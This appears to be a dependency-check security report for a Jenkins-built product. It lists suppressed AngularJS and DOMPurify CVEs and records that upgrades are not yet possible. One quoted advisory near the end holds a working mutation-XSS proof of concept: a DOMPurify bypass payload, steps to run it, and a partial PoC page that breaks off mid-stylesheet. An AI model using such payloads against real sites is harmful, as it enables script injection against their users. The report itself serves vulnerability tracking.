- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: angular.jar: angular.min.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular.jar/META-INF/resources/webjars/angular/1.8.3/angular.min.js

MD5: 967a32633fa8f38f4ac3376c1a37b992

SHA1: b53b74d8e0b732dcdb98fbe521146b88299ea2f1

SHA256: 396dc1a03d6cc02e9c51a80246e0db53c5c8df9bd07287e3b51bce4a29dab355

Referenced In Project/Scope: server

Evidence



Suppressed Identifiers

- None

Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.
Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>

- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

CVE-2024-21490 suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [@angular/core](https://www.npmjs.com/package/@angular/core).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

CVE-2022-25869 suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

CVE-2023-26116 suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status).

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*:*

CVE-2025-2336 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: hugerte.jar: hugerte.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/hugerte.jar/META-INF/resources/webjars/hugerte/1.0.10/hugerte.js

MD5: 0a6efbdc07b365918a67844e02cb30e2

SHA1: 54aae4c54ccee88eea1b3b9f74d958d813a113a3

SHA256: b366d47bca68c558550a58193bd4a1e05a1f5ef98cbaab316e392937da38f3eb

Referenced In Project/Scope: server

Evidence +

Suppressed Identifiers

- None

Suppressed Vulnerabilities -

[CVE-2026-41240](#) suppressed

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'),
CWE-183 Permissive List of Allowed Inputs

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (6.0)
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT,MITIGATION,PATCH,VENDOR_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m>
- security-advisories@github.com - [EXPLOIT,MITIGATION,PATCH,VENDOR_ADVISORY](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PRODUCT,RELEASE_NOTES](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions up to (excluding) 3.4.0

[CVE-2026-0540](#) suppressed

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like `</noscript>` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (5.3)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- help@fluidattacks.com - <https://fluidattacks.com/advisories/daft>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- help@fluidattacks.com - [PRODUCT](#)

- help@fluidattacks.com - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (including) 3.3.1

[CVE-2025-15599](#) suppressed

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like `</textarea>` in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (5.1)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- disclosure@vulncheck.com - [PATCH](#)
- disclosure@vulncheck.com - [PRODUCT](#)
- disclosure@vulncheck.com - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (excluding) 3.2.7

Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using ``innerHTML`` and special wrappers. The vulnerable wrappers confirmed in browser behavior are ``script``, ``xmp``, ``iframe``, ``noembed``, ``noframes``, and ``noscript``. The payload remains seemingly benign after ``DOMPurify.sanitize()``, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (``alert(1)`` in the PoC). **## Vulnerability** The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ``<xmp> ... </xmp>`` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example ``</xmp>`` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces

attacker markup () outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). ## PoC 1. Start the PoC app: ``bash npm install npm start `` 2. Open `http://localhost:3001`. 3. Set `Wrapper en sink` to `xmp`. 4. Use payload: ``html <img src=x alt="</xmp>"> `` 5. Click `Sanitize + Render`. 6. Observe: - `Sanitized response` still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include ``. - `alert('expoc')` is triggered. 7. Files: - index.html ``html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 